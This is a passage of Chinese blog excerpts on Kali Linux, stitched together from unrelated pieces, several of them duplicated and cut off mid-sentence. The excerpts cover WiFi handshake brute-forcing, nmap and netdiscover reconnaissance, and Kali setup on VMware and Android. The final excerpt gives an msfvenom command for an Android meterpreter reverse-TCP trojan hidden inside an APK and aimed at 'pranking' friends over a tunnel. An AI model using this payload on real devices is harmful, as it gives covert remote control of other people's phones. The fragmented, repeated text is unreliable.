基础环境及前置说明1.win10电脑2.VMware虚拟机3.Kali-linux镜像4.支持监听模式的无线网卡5.wifi密码字典文件所谓暴力破解就是穷举法，将密码字典中每一个密码依次去与握手包中的密码进行匹配，直到匹配成功，能否成功破解wifi密码取决于密码字典本身是否包含了这个密码。步骤1.Kali-linux连接无线网卡：虚拟机-可移动设备-连接网卡。 2.确认网卡是否支持监听模式：使用airmon-ng命令，如果看见wlan0，即支持。 3.开启此网卡的监听模式：使用airmon-ngstartwlan0命令开启。然后使用ifconfig命令可以看见之前的wlan0变成了wlan0m
本文为《从实践中学习KaliLinux渗透测试》总结笔记，仅供学习使用，禁止用于非法用途，转载请附上原文链接！1.信息收集1.1发现主机traceroute获取目标主机的路由条目，确定网络拓扑。每一跳表示一个网关，星号可能为防火墙导致。1.1.1扫描主机①nmapnmap-sPip/ip段对目标主机实施ping扫描，探测主机是否在线也可以通过其他语法，扫描主机开放端口、使用的操作系统等②NetdiscoverARP侦查工具，可以扫描IP地址，检查在线主机。netdiscover-rCIDR格式1.1.2监听发现主机①ARP监听ARP请求广播到网络上所有主机，发现活动主机。Netdiscover
本文为《从实践中学习KaliLinux渗透测试》总结笔记，仅供学习使用，禁止用于非法用途，转载请附上原文链接！1.信息收集1.1发现主机traceroute获取目标主机的路由条目，确定网络拓扑。每一跳表示一个网关，星号可能为防火墙导致。1.1.1扫描主机①nmapnmap-sPip/ip段对目标主机实施ping扫描，探测主机是否在线也可以通过其他语法，扫描主机开放端口、使用的操作系统等②NetdiscoverARP侦查工具，可以扫描IP地址，检查在线主机。netdiscover-rCIDR格式1.1.2监听发现主机①ARP监听ARP请求广播到网络上所有主机，发现活动主机。Netdiscover
由于本文章具有时效性，查看最新版本请见下方链接https://blog.csdn.net/a18845594188/article/details/1281868030.需要工具：搭载基于Android的手机TermuxVNCViewer手1.安装必备软件https://www.hestudio.org/posts/install-kali-on-android-renew.html#%E5%AE%89%E8%A3%85%E5%BF%85%E5%A4%87%E8%BD%AF%E4%BB%B6-%E5%A6%82%E5%B7%B2%E5%AE%89%E8%A3%85%E8%AF%B7%E5%B
由于本文章具有时效性，查看最新版本请见下方链接https://blog.csdn.net/a18845594188/article/details/1281868030.需要工具：搭载基于Android的手机TermuxVNCViewer手1.安装必备软件https://www.hestudio.org/posts/install-kali-on-android-renew.html#%E5%AE%89%E8%A3%85%E5%BF%85%E5%A4%87%E8%BD%AF%E4%BB%B6-%E5%A6%82%E5%B7%B2%E5%AE%89%E8%A3%85%E8%AF%B7%E5%B
一、前期准备kali镜像下载地址：http://mirrors.ustc.edu.cn/kali-images/二、VMware虚拟机配置1、打开vmware，点击创建新的虚拟机2、选择自定义(高级)选项，点击下一步3、继续下一步4、选择【稍后安装操作系统】，然后点击下一步5、客户机操作系统选择【Linux】，版本选择【Debian】，至于64位还是32位我们根据镜像选择对应的版本，当然也可以直接选择64位，毕竟可以向下兼容。其次之所以选的Debian是因为KaliLinux是基于Debian的Linux发行版，所以我们选择Debian，选择完成之后继续点击下一步6、命名虚拟机：关于虚拟机名称
一、前期准备kali镜像下载地址：http://mirrors.ustc.edu.cn/kali-images/二、VMware虚拟机配置1、打开vmware，点击创建新的虚拟机2、选择自定义(高级)选项，点击下一步3、继续下一步4、选择【稍后安装操作系统】，然后点击下一步5、客户机操作系统选择【Linux】，版本选择【Debian】，至于64位还是32位我们根据镜像选择对应的版本，当然也可以直接选择64位，毕竟可以向下兼容。其次之所以选的Debian是因为KaliLinux是基于Debian的Linux发行版，所以我们选择Debian，选择完成之后继续点击下一步6、命名虚拟机：关于虚拟机名称
1、下载镜像或者压缩包①官网地址：https://www.kali.org/get-kali/#kali-virtual-machines②点击BareMetal，下载ISO镜像③也可以继续往下翻，选择下载官方压缩包④也可以下载我的包ISO镜像：链接：https://pan.baidu.com/s/1WwP_dn8yqz8OwOdd-0pHhg?pwd=oqpa提取码：oqpaVMWare版本Kali的7z压缩包链接：https://pan.baidu.com/s/1fzAhMc7sji8dTIftrHklMw?pwd=uhsa提取码：uhsa方法一：安装iso镜像Kali的iso镜像安装方式
1、下载镜像或者压缩包①官网地址：https://www.kali.org/get-kali/#kali-virtual-machines②点击BareMetal，下载ISO镜像③也可以继续往下翻，选择下载官方压缩包④也可以下载我的包ISO镜像：链接：https://pan.baidu.com/s/1WwP_dn8yqz8OwOdd-0pHhg?pwd=oqpa提取码：oqpaVMWare版本Kali的7z压缩包链接：https://pan.baidu.com/s/1fzAhMc7sji8dTIftrHklMw?pwd=uhsa提取码：uhsa方法一：安装iso镜像Kali的iso镜像安装方式
声明：本文章仅做娱乐和学习，切勿非法使用！！本人技术一般，水平有限，如有不对请多多指正。一、环境准备KaliLinux安卓手机一部（安卓11）二、内网穿透要想玩的好，总不能本地玩自己吧，也得和周边朋友开个玩笑吧，所以就得做内网穿透了，免费内网穿透可以看这位大佬的CSDN博主「LisaCpolar」我这边用的是自己frp拿自己服务器做了内网穿透三、木马生成并加到apk直接用msf生成的apk打开没有内容，安装报毒，且目前的安卓11以上无法直接安装，msfvenom-pandroid/meterpreter/reverse_tcpLHOST=本地ip>LPORT=本地端口号>R>文件名>.apk网
